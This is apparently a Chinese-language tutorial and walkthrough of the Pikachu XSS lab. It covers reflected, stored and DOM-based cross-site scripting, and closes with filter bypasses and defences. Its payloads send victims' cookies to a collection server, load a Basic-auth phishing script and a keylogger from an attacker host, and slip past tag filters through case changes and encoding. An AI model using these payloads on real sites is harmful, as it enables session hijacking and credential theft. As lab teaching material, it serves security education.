XSS

原理:

程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

分类

危害:存储型 > 反射型 > DOM型

  • 反射型XSS:<非持久化>
    交互的数据一般不会被存在数据库里面,一次性 ,所见即所得,一般出现在查询页面等

  • 存储型XSS:<持久化>
    交互的数据会被存在数据库里面,永久性存储 ,一般出现在留言板,注册等页面

  • DOM型XSS:<基于文档对象模型DOM的漏洞>
    不与后台服务器产生数据交互,是一种通过DOM操作前端代码 输出的时候产生的问题,一次性 ,也属于反射型

常见用途:

  • Cookie劫持

  • 构造GET与POST请求

  • XSS钓鱼

  • 获取用户的真实IP地址

测试流程:

  • 在目标上找输入点,比如查询接口、留言板

  • 输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理

  • 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)

  • 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

一、反射型XSS(get)


XSS注入_php

当输入内容时, 发现内容被执行写入当网页

<>6666

XSS注入_html_02

直接进行注入

#测试时,将标签中_删除
<scr_ipt>alert(document.cookie)</scr_ipt>
<scr_ipt>alert("1")</scr_ipt>

XSS注入_数据_03

发现,对输入的字符串的有长度限制

方法一

修改前端代码

XSS注入_数据库_04

修改为100后, 可以输入完整的长度,成功弹窗

XSS注入_数据_05

方法二

抓包修改

XSS注入_数据_06

二、反射性XSS(post)


利用xss盗取用户的cookie,模拟了一个用户登录的过程

XSS注入_数据库_07

登录成功后, 就和Get型一样的界面了

XSS注入_数据库_08

但是和xss(get)不同,在xss(get)可以直接在url上构造payload

#测试时,将标签中_删除
http://192.168.132.132/pikachu/vul/xss/xss_reflected_get.php?message=<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>&submit=submit

来诱使用户点击, 盗取用户的cookie

url中cookie为被攻击者的cookie

通过使用短链接进行伪装,使被攻击者不会意识到这是攻击url

因为在POST方式中,  就算将构造好(含攻击代码)的URL给用户点击了,  也不会直接触发拿到cookie,  反而会直接弹出用户登录提示。

这时候我们就得用一个服务器(攻击者的),  伪造POST请求去登录, 并且盗取用户登录成功后的cookie

xss后台搭建

pkxss目录下inc/config.inc.php文件需要进行配置,配置完成后,初始化数据库

XSS注入_数据库_09

存在cookie搜集、钓鱼结果、键盘结果3个模块

XSS注入_html_10

cookie搜集模块中,存放被攻击者cookie的数据

XSS注入_php_11

先修改xss后台下的pkxss/xcookie/cookie.php文件,将IP地址改为漏洞服务器的地址,使被攻击者不知道自己被攻击了

XSS注入_数据_12

该后台为本地搭建,所以地址为本地

模拟用户点击该网址

#测试时,将标签中_删除
<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</scr_ipt>

192.168.132.132是攻击者也是被攻击者,收集被攻击者cookie的服务器地址(也是本地), (需要进行URL编码才能访问)

访问之后, 自动重定向首页, (是为了不让用户察觉被攻击的事实), 如果重定向其他地址, 用户就会知道被攻击了

XSS注入_html_13

查看cookie收集模块,存放被攻击者的cookie

XSS注入_数据库_14

三、存储型XSS


如果论坛留言板模块,存在存储型XSS漏洞,会将payload存储到网站数据库,每一个用户浏览留言板的时候都会被攻击,这种攻击时持久化攻击

XSS注入_html_15

输入payload,进行尝试测试

XSS注入_php_16

漏洞利用

  • 注入跳转网页
#测试时,将标签中_删除
<scr_ipt>document.location='https://www.cnblogs.com/confidant'</scr_ipt>

XSS注入_fish_17

    注:每次进入留言版,都会跳转,需要进入数据库中,删除该条数据

  • 网站钓鱼
    pikachu靶场中存在一个pkxss目录下/xfish目录,其中存放关于钓鱼脚本

XSS注入_数据库_18

钓鱼脚本使用的是 Basic认证 ** ,**
我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)
配置脚本pkxss/xfish/fish.php,将往重定向网址修改管理后台

XSS注入_数据库_19

然后将攻击恶意代码嵌入留言板中: (弄一个弹窗来判断是否成功注入, 现实中弹窗就太嚣张了...)

#测试时,将标签中_删除
<script src="http://192.168.132.132/pikachu/pkxss/xfish/fish.php"></script> 

XSS注入_数据_20

当被攻击者输入自己的密码就会被钓鱼, 钓鱼信息存储在攻击者服务器上,地址为

http://192.168.132.132/pikachu-master/pkxss/xfish/pkxss_fish_result.php

可以看到刚刚被钓鱼的用户信息, (并且信息存储在数据库中)

XSS注入_php_21

  • 获取键盘记录
    攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js
    同样需要将网址修改为攻击者的地址(也就是本机地址)

XSS注入_fish_22

上面脚本获取了用户的键盘记录后, 再重定向到 rkserver.php

AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php删除注释

XSS注入_php_23

攻击者往留言板注入恶意代码

#测试时,将标签中_删除
<scr_ipt src='http://192.168.132.132/pikachu/pkxss/rkeypress/rk.js'></scr_ipt>

然后在页面上随意输入键盘, 会调用rkserver.php记录键盘活

XSS注入_fish_24

访问xss键盘记录后台

http://192.168.10.100/pikachu/pkxss/rkeypress/pkxss_keypress_result.php

XSS注入_数据_25

四、DOM型XSS


DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树

测试'"<>?&6666

输入图中的内容,观察到如下输出,发现和输入的内容有区别

XSS注入_php_26

观察页面源码

XSS注入_数据库_27

这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

漏洞利用

方法一

利用JavaScript协议

javascript:alert("You are attacked !!")

XSS注入_数据库_28

方法二

绕过闭合

我们通过闭合的方式构造Payload

' onclick="alert('xss')">

XSS注入_数据库_29

造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的

五、DOM型XSS


进行测试

'2"$&#<>/\

XSS注入_php_30

查看源代码,这里也有个JS代码,它定义了一个domxss函数它利用 window.location.search 获取浏览器中URL的内容

然后赋值给 str然后经过URL解码和字符串分隔,取出URL中的参数内容再把 “+” 替换为 “ ”(空格),赋值给 xss

最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中

XSS注入_数据_31

' onclick="alert('xss')">

XSS注入_数据库_32

六、XSS盲打


XSS盲打不是攻击类型,而是一个攻击场景

当我们输入内容并提交的时候,

我们输入数据,提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看,如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出,那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容

发现内容无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台

倘若注入xss, 则无法得知是否xss被执行, 但是管理员回去看, 假如我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击

XSS注入_数据_33

并登录后台管理界面(账号密码为admin,123456)

http://192.168.132.132/pikachu/vul/xss/xssblind/admin_login.php

一登录进来就遭受了XSS攻击

XSS注入_html_34

七、XSS之过滤


在实际的网站中,或多或少都会做一些安全措施,但是这些安全措施也存在方法、逻辑不严谨,可以被绕过

转换的思路

  • 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。

  • 大小写,后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。

#测试时,将标签中_删除
<SCR_IPT>aLeRT(111)</sCRIpt>
  • 双写(拼凑),后台可能把script标签去掉换,但可能只去掉一次。
#测试时,将标签中_删除
<scri<scr_ipt>pt>alert(111)</scri</scr_ipt>pt>
  • 注释干扰,加上注释后可能可以绕过后台过滤机制。
<scri<!--test-->pt>alert(111)</sc<!--test-->ript>

编码的思路
核心思路:

  • 后台过滤了特殊字符,比如script标签,但该标签可以被各种编码,后台不一定过滤

  • 当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行

#测试时,将标签中_删除
<im_g src=x onerror=alert('xss')>
将alert('xss')进行HTML编码
<im_g src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;>

测试时,将标签中_删除
<scr_ipt>;";6666

XSS注入_数据库_35

可以看到我们输入的<script标签被去掉了

XSS注入_数据_36

漏洞利用

#测试时,将标签中_删除
<ScR_iPt>alert(1)</ScR_ipt>  // 大小写混合绕过

XSS注入_数据_37

八、XSS之htmlspecialchars


htmlspecialchars() 函数

PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

  • & 成为 &amp

  • " 成为 &quot

  • ' 成为 &#039

  • < 成为 &lt

  • 成为 &gt

可用引号类型

  • ENT_COMPAT:默认,仅编码双引号

  • ENT_QUOTES:编码双引号和单引号

  • ENT_NOQUOTES:不编码任何引号

输入"<>?#'&6666,进行测试

XSS注入_数据库_38

可以看到 ",>和<都经过了编码,剩下的字符没有,单引号依然可以使用

我们可以构造下面的Payload,我们在Payload前后都添加一个单引号用于闭合 href 中的单引号

' onclick=alert(1111) '

XSS注入_数据库_39

九、XSS之href输出


查看源代码

XSS注入_php_40

这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理

这个函数转义单引号、双引号和左右尖括号

然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS

构造Payload如下,没有上面被转义的字符

javascript:alert(111)

XSS注入_数据_41

十、XSS之js输出


输入数据,查看源代码

XSS注入_数据库_42

它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出

我们可以构造一个闭合,先闭合script标签,然后再插入自己的JS代码

#测试时,将标签中_删除
'</scr_ipt><scr_ipt>alert('xss')</scr_ipt>

XSS注入_html_43

这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话

在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS

所以在JS的输出点应该对应该使用 \对特殊字符进行转义

防御措施


  • 对输入(和URL参数)进行过滤,对输出进行编码

  • 输入的时候只允许 http 或 https 开头的协议,才允许输出,其次再进行htmlspecialchars(html编码)处理

  • 过滤或移除js 事件的标签和特殊的 html 标签

  • 设setcookie=true,使cookie不能被js获取

参考文章

javascript:void(0)

javascript:void(0)